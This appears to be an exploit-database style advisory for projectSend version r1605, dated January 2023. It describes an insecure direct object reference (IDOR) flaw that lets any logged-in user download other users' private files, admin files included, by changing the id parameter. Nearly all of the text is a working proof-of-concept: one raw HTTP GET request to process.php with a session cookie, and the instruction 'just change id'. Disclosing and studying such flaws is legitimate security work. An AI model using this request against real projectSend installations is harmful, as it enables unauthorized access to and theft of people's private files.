projectSend r1605 Private File Download

`Exploit Title: projectSend r1605 - Private file download  
Application: projectSend  
Version: r1605  
Bugs: IDOR  
Technology: PHP  
Vendor URL: https://www.projectsend.org/  
Software Link: https://www.projectsend.org/  
Date of found: 24-01-2023  
Author: Mirabbas Ağalarov  
Tested on: Linux   
  
  
  
Technical Details & POC  
========================================  
  
1.Access to private files of any user, including admin  
  
  
just change id  
  
  
  
GET /process.php?do=download&id=[any user's private pictures id] HTTP/1.1  
Host: localhost  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Linux"  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://localhost/manage-files.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: download_started=false; PHPSESSID=e46dtgmf95uu0usnceebfqbp0f  
Connection: close  
  
`